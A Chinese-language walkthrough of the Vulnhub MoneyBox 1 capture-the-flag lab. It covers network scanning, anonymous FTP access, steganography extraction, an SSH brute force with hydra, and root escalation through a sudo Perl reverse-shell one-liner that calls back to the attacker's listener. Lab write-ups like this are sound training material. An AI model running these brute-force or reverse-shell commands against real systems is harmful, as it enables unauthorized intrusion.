Description 
本次靶机来自vulnhub MONEYBOX 1 。靶机中存在3个flag,本次目标是拿到这3个flag,废话不多说开始吧。  
   
扫描与服务识别 
靶机与Kali处在同一网段,通过二层扫描(arp-scan)同网段的存活IP  
sudo arp-scan -I eth0 -l  # -I 网卡 -l 本地网络
  
   
通过判断,192.168.54.250为靶机地址。  
扫描该靶机的开放端口  
sudo nmap -p- 192.168.54.250 
  
   
发现21,22,80端口,对这些端口进行服务识别  
sudo nmap -p21,22,80 -sV 192.168.54.250 
  
   
发现了目标开放了ftp服务,ssh以及web服务  
漏洞扫描 
使用nmap利用默认脚本扫描是否存在服务漏洞  
sudo nmap -p21 -sC 192.168.54.250   # -sC 默认脚本
  
   
扫描发现ftp存在匿名登陆漏洞  
   
ssh和http服务没有发现什么异常  
整理分析 
匿名用户登陆 
先利用发现的匿名登陆漏洞  
   
用账号密码anonymous/anonymous登陆成功,并且发现一张图片trytofind.jpg  
将图片下载至本地(图片可能藏着某些信息)  
   
访问web服务  
   
查看源码发现,没有发现什么信息  
目录爆破 
爆破网站目录(dirsearch需要安装)  
dirsearch -u http://192.168.54.250/
  
   
发现一个博客页面  
   
根据页面内容,在页面源码中发现提示,存在秘密目录S3cr3t-T3xt  
   
访问目录  
   
在页面源码中发现一个密钥3xtr4ctd4t4  
   
图片隐写 
通过strings命令查看图片中是否有什么明显的字符信息  
strings trytofind.jpg  
  
   
虽然没有直接看到明显信息,但看到异常字符,客图片里插入什么  
用steghide查看插入的数据  
steghide info trytofind.jpg
  
   
发现需要密码,用之前的获得的密钥3xtr4ctd4t4尝试  
成功,发现存在一个data.txt文件  
   
提取信息  
steghide extract -sf trytofind.jpg 
  
   
ssh爆破 
查看data文件  
   
发现几个关键字眼,人名renu,密码很弱,可以判断renu可能是一个账号且存在弱口令问题,可以进行暴力破解  
首先先找一个字典(/usr/share/wordlists/rockyou.txt.gz)  
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz 
  
这里可以用nmap的ssh爆破脚本,也可以用hydra  
nmap --script ssh-brute --script-args userdb=user.txt,passdb=rockyou.txt 192.168.54.250
  
使用hydra  
hydra -l renu -P rockyou.txt 192.168.54.250 ssh
  
破解成功  
   
账号密码为renu/987654321  
获取Flag 
ssh连接到renu账号  
   
查看目录  
   
成功获得第一个Flag  
尝试sudo到root用户  
   
由于不在超级用户组,权限不够  
查看历史命令history  
history
  
   
   
发现一个lily用户,并且有通过ssh登陆的痕迹  
   
进入home目录里的lily用户文件,发现第二个Flag  
进入lily下的.ssh文件夹和renu的.ssh文件夹  
   
发现lily的authorized_keys存在renu的公钥,因此renu可以直接通过ssh登陆到lily账号。  
   
查看lily用户的权限信息  
   
发现lily用户可以在不使用密码的情况下使用Perl程序  
在kali上监听3334端口  
nc -nvlp 3334
  
利用perl程序运行反弹shell  
sudo perl -e 'use Socket;$i="192.168.54.103";$p=3334;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  
   
连接成功,获得root权限  
   
进入root根目录  
   
发现.root.txt文件,获得最后一个Flag 
                
                
                
        
    
 
 |